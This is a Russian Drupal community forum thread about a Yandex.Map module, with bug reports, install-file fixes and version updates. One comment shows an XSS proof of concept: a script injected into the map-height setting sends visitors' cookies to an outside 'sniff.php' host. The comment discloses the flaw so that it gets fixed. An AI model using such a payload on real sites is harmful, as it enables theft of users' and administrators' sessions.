Модуль Yandex Map

Прислано: bohart@InternetDevels.com

пн, 16/03/2009 - 23:03

Другие статьи по теме:

Модуль Yandex.Map
картинко
Позволяет внедрять Яндекс.карты в типы материалов которые определены в настройках модуля.
Здесь скрин со странички настроек модуля.

Здесь скрин как выглядит карта при добавлении/редактировании материала.

Доступен следующий функционал:
- настройка размеров, элементов управление, типа и свойств карты через админку (отдельно для страниц добавление материала и просмотра)
- возможность добавление только одной метки
- возможность поиска местности при добавлении/редактировании материла (страна, город, улица, дом…)
- локализация модуля: английский, русский и украинский.
- для теминга используем темплейт yandex-map.tpl.php
- в комплекте есть два блока:
1) последние метки
настраиваемы параметры - типы контента для отображение, количество меток, высота и ширина карты.
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка

Установка.
Для работы другие модули не требуются.
Включаем модуль:
/admin/build/modules
Настраиваем модуль (указываем тип материала, иначе Яндекс.карты грузится не будут):
/admin/settings/yandex_map
Для следующего шага Вы должны иметь Яндекс.Паспорт. Получить его можно здесь:
http://passport.yandex.ru/passport?mode=register
После входа в систему переходим по ссылке и получаем оригинальный API KEY для своего сайта:
http://api.yandex.ru/maps/form.xml
После этого указываем API KEY в настройках модуля.

Планируется:
- исправление существующих багов;
- добавление новых
- интеграция в views - отображение всех результатов вюшки на одной карте
- увеличить количество меток в ноде
- увеличить количество доступных иконок для меток
- возможность ограничить местность, где пользователь может добавить метку (например, город или страна)

зы. надеюсь, кому то пригодиться ;)

----
Аналогичный модуль для Google Map - http://drupal.ru/node/24680

Прикрепленный файлРазмер
yandex_map-6.x-1.1.4.zip50.46 кб

Комментарии


Настройки просмотра комментариев

Выберите нужный метод показа комментариев и нажмите "Применить"
Опубликовано PavelZ в вт, 17/03/2009 - 06:07.

Спасибо, сам думал сделать такую штуку, поставил у себя на сайте, тестирую.
Поспешил обрадоваться, не создало при установки какую-то таблицу и ругается, при загрузке содержимого, которое отмечено для публикации карты. Drupal 6.10 PostgreSQL 8.3.5


Опубликовано beerman в вт, 17/03/2009 - 03:28.

не люблю ya.map за то, что он дальше МКАДа ни хрена не знает.


Опубликовано cpu в вт, 17/03/2009 - 04:28.

Полезный модуль. Полезен тем, до кого google maps до сих пор не добралася... Например Уфа, миллионник, а Googla нет.
Спасибо!


Опубликовано batbug в вт, 17/03/2009 - 04:43.

Нам, в Иркутской области, что гугл, что яндекс - монопенисуально :(

А за модуль - респект!


Опубликовано Химический Али в вт, 17/03/2009 - 05:08.

Почему можно добавить лишь одну метку? Какие-то ограничения Яндекса?


Опубликовано gorr в вт, 17/03/2009 - 06:38.

Спасибо, на заметку


Опубликовано Valeratal в вт, 17/03/2009 - 06:54.

спасибо, полезно


Опубликовано kyky в вт, 17/03/2009 - 08:08.

2 batbug
у нас в Чите - аналогично, местные кодеры городской флеш-навигатор сделали от безысходности...

но автор молодец!


Опубликовано bohart@Internet... в вт, 17/03/2009 - 11:49.

"PavelZ" написал(а):

Поспешил обрадоваться, не создало при установки какую-то таблицу и ругается, при загрузке содержимого, которое отмечено для публикации карты. Drupal 6.10 PostgreSQL 8.3.5

хм, тестировал на 6.9 с полным боекомплектом модулей и на чистом 6.10.
наверное все таки дело в PostgreSQL, исправим ;)

"beerman" написал(а):

не люблю ya.map за то, что он дальше МКАДа ни хрена не знает.

"batbug" написал(а):

Нам, в Иркутской области, что гугл, что яндекс - монопенисуально :(

ну например у Яндекс.карт много городов есть детализированных до дома, которых у гугла нету.

"Химический Али" написал(а):

Почему можно добавить лишь одну метку? Какие-то ограничения Яндекса?

нет, это ограничение этого модуля.
просто он изначально делался что одна нода - одна метка.
но в прочем это переделать не очень сложно, может в следующей версии модуля добавится и такой функционал... :)


Опубликовано VladSavitsky в вт, 17/03/2009 - 12:28.

"bohart" написал(а):

хм, тестировал на 6.9 с полным боекомплектом модулей и на чистом 6.10.
наверное все таки дело в PostgreSQL, исправим ;)

Попробуйте прогнать свой модуль через Coder - он может подсказать в чем проблема.
Лично вчера исправил свои запросы к базе данных, потому что кодер сказал LIMIT для PostgreSQL не работает и нужно использовать чуток другую функцию для запроса. Мне не сложно исправить, а переносимость увеличивается. Попробуйте.

Да! И спасибо за то, что делитесь с сообществом.


Опубликовано Химический Али в вт, 17/03/2009 - 12:43.

И там еще, по-моему, можно пути и регионы добавлять на карты - тоже хотелось бы.


Опубликовано neochief в вт, 17/03/2009 - 12:59.

"LIMIT для PostgreSQL" — о чем я и писал во второй статье безопасного кода ;)


Опубликовано fasdalf@fasdalf.ru в вт, 17/03/2009 - 13:06.

И для тех, кто за мкадом, хотелось бы "оверлей" поддерживать, ибо карт в растре есть, а удобства - нет.


Опубликовано bodro в вт, 17/03/2009 - 13:26.

полезный модуль
добавил ссылку на странице Gmap


Опубликовано bohart@Internet... в вт, 17/03/2009 - 19:02.

"bodro" написал(а):

добавил ссылку на странице Gmap

спасибо. сделал ход в ответ))


Опубликовано thestorm в вт, 17/03/2009 - 23:22.

потрясающе, отлично работает.
все чисто, красиво и хорошо работает.
огромное спасибо за этот модуль :)


Опубликовано winniepoo в ср, 18/03/2009 - 00:26.

хм
сразу после включения модуля
имею ругань на несуществующую таблицу yandex_maps
MySQL 5, Drupal 6.10


Опубликовано bodro в ср, 18/03/2009 - 10:09.

протестировал, все хорошо работает, вот только
1 - если заполнить "Название метки:" и "Описание метки:" то карта в ноде не сохраняется
2 - JS скрипты карты грузятся на всех страницах сайта


Опубликовано winniepoo в ср, 18/03/2009 - 14:49.

Нашел причину.
Таблица не создаются, когда при установке друпала выбран отличный от дефолтного префикс таблиц.
В .install вместо использования стандартного db_create_table
прямая SQL-команда CREATE TABLE создает таблицу (yandex_maps) без префикса,
а потом сам модуль эту таблицу через друпал найти не может, потому что ищется prefix_yandex_maps.

Да, есть еще проблемка, когда открываю нод с картой на редактирование
он забывает про старую точку и вместо нее ставит маркер на дефолтное значение.
Т.е. каждый раз при редактировании нода с картой надо заново точку ставить :(
Или я что-то не так делаю?


Опубликовано s0cks в чт, 19/03/2009 - 07:49.

"Ваш корирайт для отображение внизу карт" ))


Опубликовано andypost@drupal.org в чт, 19/03/2009 - 11:47.

Правки - названия и описания пунктов меню не оборачиваются в t() в 6ке

<?php
function yandex_map_menu() {
  
$items = array();

  
$items['admin/settings/yandex_map'] = array(
-    
'title'            => t('Yandex Map'),
+    
'title'            => 'Yandex Map',
    
'page callback'    => 'drupal_get_form',
    
'page arguments'   => array('yandex_map_settings_form'),
    
'type'             => MENU_NORMAL_ITEM,
    
'access arguments' => array('administer yandex_map'),
  );
  return 
$items;
}
?>

Для создания таблиц в 6ке нужно использовать hook_schema() и при удалении модуля вычищать свои переменные.

Соответственно yandex_map.install должен быть таким:

<?php
  
// $Id: yandex_map.install, v 1.1 2008/09/05 03:22:05 $ boh@rt

/**
 * Implementation of hook_install().
 */
function yandex_map_install() {
  
// Create tables.
  
drupal_install_schema('yandex_map');
}

/**
 * Implementation of hook_uninstall().
 */
function yandex_map_uninstall() {
  
// Remove tables.
  
drupal_uninstall_schema('yandex_map');
  
// Remove variables.
  
variable_del('yandex_map_control_edit');
  
variable_del('yandex_map_control_view');
  
variable_del('yandex_map_api_key');
  
variable_del('yandex_map_default_city');
  
variable_del('yandex_map_default_zoom');
  
variable_del('yandex_map_ballon_on_view');
  
variable_del('yandex_map_copyright');
  
variable_del('yandex_map_types');
  
variable_del('yandex_map_map_height');
  
variable_del('yandex_map_map_width');
}

/**
 * Implementation of hook_schema().
 */
function yandex_map_schema() {
  
$schema['yandex_map'] = array(
    
'description' => 'Stores data for yandex-maps.',
    
'fields' => array(
      
'nid' => array(
        
'type' => 'int',
        
'unsigned' => TRUE,
        
'not null' => TRUE,
        
'default' => 0,
        ),
      
'uid' => array(
        
'type' => 'int',
        
'unsigned' => TRUE,
        
'not null' => TRUE,
        
'default' => 0,
        ),
      
'time' => array(
        
'type' => 'int',
        
'unsigned' => TRUE,
        
'not null' => TRUE,
        
'default' => 0,
        ),
      
'value' => array(
        
'type' => 'varchar',
        
'length' => 1024,
        
'not null' => TRUE,
        
'default' => '',
        ),
      ),
    
'indexes' => array(
      
'nid' => array('nid'),
      ),
    );

  return 
$schema;
}

?>


Опубликовано beerman в чт, 19/03/2009 - 13:55.

"andypost@drupal.org" написал(а):

названия и описания пунктов меню не оборачиваются в t() в 6ке

это кто так сказал?


Опубликовано andypost@drupal.org в чт, 19/03/2009 - 14:41.

Документация и реализация


Опубликовано beerman в чт, 19/03/2009 - 23:44.

покажи раздел документации. мож я чего пропустил?


Опубликовано neochief в пт, 20/03/2009 - 01:54.

http://drupal.org/node/140311


Опубликовано not_returned в пт, 20/03/2009 - 06:39.

Всем здравствуйте, скажите, а как сделать по умолчанию вывод карты не схемы, а со спутника?


Опубликовано t1mm1 в пн, 23/03/2009 - 08:12.

хм...
а есть ли наработка под 5.16 версию?

заранее спасибо.
если можно на p1zz@ukr.net
протестирую и вышлю багтрекер. если будет необходимо.


Опубликовано Atl в вт, 24/03/2009 - 12:19.

У-у-у-у! В 5-ке не ставится!

warning: Missing argument 3 for yandex_map_form_alter(), called in
.../includes/form.inc on line 365 and defined in
.../sites/all/modules/yandex_map/yandex_map.module on line 224.

363 foreach (module_implements('form_alter') as $module) {
364 $function = $module .'_form_alter';
365 $function($form_id, $form);
366 }

224 function yandex_map_form_alter(&$form, $form_state, $form_id) {
225 $types = variable_get('yandex_map_types', array());

Добавил $form_state в 365-ю - ни фига.


Опубликовано Clarion в пт, 27/03/2009 - 20:40.

классный модуль, автору большое спасибо, ещё бы меток побольше =)


Опубликовано bohart@Internet... в сб, 28/03/2009 - 23:50.

"Atl" написал(а):

У-у-у-у! В 5-ке не ставится!

"t1mm1" написал(а):

а есть ли наработка под 5.16 версию?

этот модуль для 6 ветки Друпала. Для 5ки не планируется и не будет :(

"s0cks" написал(а):

"Ваш корирайт для отображение внизу карт" ))

очепятко однако, исправил

"andypost@drupal.org" написал(а):

Правки - названия и описания пунктов меню не оборачиваются в t() в 6ке

Спасибо, не знал, исправил.

"andypost@drupal.org" написал(а):

Соответственно yandex_map.install должен быть таким:

гы, на хук_схема я уже давно перевел, только забыл выложить здесь..
а про вариейбли попросту забыл упомянуть в install файле. спасибо.

"not_returned" написал(а):

Всем здравствуйте, скажите, а как сделать по умолчанию вывод карты не схемы, а со спутника?

даный функционал будет присутствувать в новой версии (1.3)


Опубликовано zolexiy@drupal.org в вс, 29/03/2009 - 00:06.

Спасибо, в закладки.


Опубликовано bohart@Internet... в вс, 29/03/2009 - 09:27.

Обновлено модуль:
1) жабо скрипты не загружаются если не сохранен API key
2) форма Яндекс.Карт не отображается на страничках добавление/редактирование материала если не сохранен API key
3) исправлено инсталл модуля (добавлено _схему, удаление вариейблов)
4) обновлено перевод.
5) добавил условие на загрузку скриптов только там где это надо и по этому убралась жава ошибка о не удачном старте Яндекс.Карт там где их не должно быть
6) возможность выбора типа карты в админке.

ССылка:
http://drupal.ru/files/yandex_map-6.x-1.3.rar


Опубликовано gadtakoi в чт, 02/04/2009 - 13:48.

У меня не сохраняется метка :(
отправляет в Default city


Опубликовано neochief в чт, 02/04/2009 - 15:44.


Опубликовано shamaner@drupal.org в пт, 03/04/2009 - 23:52.

"neochief" написал(а):

Модуль не соблюдает половины стандартов кодирования Друпала.

а что дриса придумал фреймворк уже иль создал php? с каких пор стандарты zend не поддерживаются?

http://pear.php.net/manual/en/standards.php
http://framework.zend.com/manual/ru/coding-standard.html
http://framework.zend.com/manual/ru/coding-standard.coding-style.html
http://habrahabr.ru/blogs/php/38214/

так что не друпу нужно соблюдать, а стандарты zend.


Опубликовано neochief в сб, 04/04/2009 - 08:38.

shamaner, есть такое мнение, что если вам нечего сказать по существу относительно данной, конкретной темы, то лучше вообще промолчать. Я очень рад, что вы знаете о стандартах кодирования PHP, но в данном случае, ваше замечание несколько не в тему и показывает то, что вы никогда не задумывались, почему возникают такие стандарты, почему в некоторых проектах эти стандарты отличаются от других, а также, почему для Друпала удобнее текущие друпаловские стандарты.


Опубликовано DmitryDrozdik в пн, 06/04/2009 - 12:53.

Скачал значит и установил этот модуль, в результате чего метка не сохраняеться, показывает на карте не верно адрес, хотя на сайте yandex показывает все нормально.
в чем проблемка и как решить не поможите?
и еще как опустить карту в ноде вниз страницы, так чтоб текс был сверху, а карта снизу например как здесь http://company.yandex.ru/inside/contacts.xml
????


Опубликовано winniepoo в вт, 07/04/2009 - 18:06.

При установке получаю

user warning: Column length too big for column 'value' (max = 255); use BLOB or TEXT instead query: update_sql /* admin : update_sql */ CREATE TABLE drupal01_yandex_map ( `nid` INT(10) unsigned NOT NULL DEFAULT 0, `uid` INT(10) unsigned NOT NULL DEFAULT 0, `time` INT(10) unsigned NOT NULL DEFAULT 0, `value` VARCHAR(1024) NOT NULL DEFAULT '', PRIMARY KEY (nid) ) /*!40100 DEFAULT CHARACTER SET UTF8 */ in /www/fisherbo/www/htdocs/_test01/includes/database.inc on line 515.

я так понимаю, в базе на моем хостинге длина VARCHAR max 255


Опубликовано bohart@Internet... в пт, 10/04/2009 - 17:34.

"neochief" написал(а):

Рекомендую модуль Coder.

спасибо, пропустил через coder.
убрал все ошибки.
на счет безопасности не совсем разобрался :(

"Zlodeiko" написал(а):

и еще как опустить карту в ноде вниз страницы,

cоздайте файлик node-yournodetype.tpl.php

а для размещения карты в конкретном месте использую параметры с админки:

<?php
print theme('yandex_map');
?>

или же
<?php
$height 
'400px';
$width  '100%';
print 
theme('yandex_map'$height$width);
?>

++
Обновил модуль.
добавил темплейт yandex-map.tpl.php
Добавлено 2 блока:
1) последние метки
настраиваемы параметры - типы контента для отображение, количество меток, высота и ширина карты.
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка

Ну и самое главное исправлено ошибки при сохранение\отображении меток.


Опубликовано neochief в пт, 10/04/2009 - 23:48.

Сходу, вбиваю в поле 'Default map height' что-то типа такого:
33px"><script>document.write('<img src="http://site.su/sniff.php?data=' + document.cookies + '">');</script><div style="

и получаю себе в логи все куки ваших пользователей и ваши рутовые, включительно.


Опубликовано winniepoo в пн, 13/04/2009 - 20:33.

при обновлении на 1.4 отображение карты отваливается от нодов


Опубликовано andypost@drupal.org в вт, 14/04/2009 - 14:08.

Может стоит этот модуль выложить на d.o больше откликов будет и удобнее обрабатывать ошибки/запросы


Опубликовано bohart@Internet... в вт, 14/04/2009 - 19:51.

"winniepoo" написал(а):

при обновлении на 1.4 отображение карты отваливается от нодов

не совсем понял что имелось веду...

"andypost@drupal.org" написал(а):

Может стоит этот модуль выложить на d.o

обязательно и с радостью! но еще немножко поработаю над улучшениями, тем более не знаком с алгоритмом добавления Туда модулей)

--

зы. сейчас готовлю демо-сайт :)


Опубликовано winniepoo в чт, 16/04/2009 - 19:22.

Хм, немного не так, как я сказал. Проблемы вижу две.
1. При создании нода, к которому привязана карта (в настройках модуля yandex map),
сама карта не отображается.
Потом, только при редактировании созданного нода, карта видна и можно поставить точку.
2. Последующие операции редактирования устанавливают точку в ее дефолтное значение (заданное в конфигурации модуля), а старое значение точки на карте не сохраняется.


Опубликовано Sinn в чт, 23/04/2009 - 12:38.

Прямо недавно у нас в Чебоксарах, ни Яндекс.Карт не было, ни Google.Maps. Теперь есть Google только снимки со спутника и Яндекс, только схема города. Схема мне более интересна. Так что ждем более стабильной версии модуля для Яндекса. Пофиксите xss уязвимость! С ней этот модуль ставить не имеет никакого смысла.


Опубликовано leeroy1 в вт, 05/05/2009 - 18:09.

Огромное спасибо за модуль.

"bohart@InternetDevels.com" написал(а):

2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка

Пожалуйста, подскажите, как именно вывести результаты вьюз на карту.


Опубликовано Myname в вс, 17/05/2009 - 22:51.

На D.org выложен этот модуль!?


Опубликовано boodooboo в ср, 20/05/2009 - 21:30.

При включении модуля в IE не отображается контент выводимый с помощью модуля Quick Tabs.


Опубликовано jason32 в ср, 27/05/2009 - 17:58.

какая последняя версия - которая в верхнем посте под номером 1.1.4 или которая в одном из каментов под номером 1.3 ?


Опубликовано Anodonta в ср, 03/06/2009 - 08:19.

Мой город на Гугл-карте виден, на сегодня, лучше, но Яндекс-то наш, Рунетовский, - поэтому хорошо что Вы такой модуль сделали.


Новое на сайте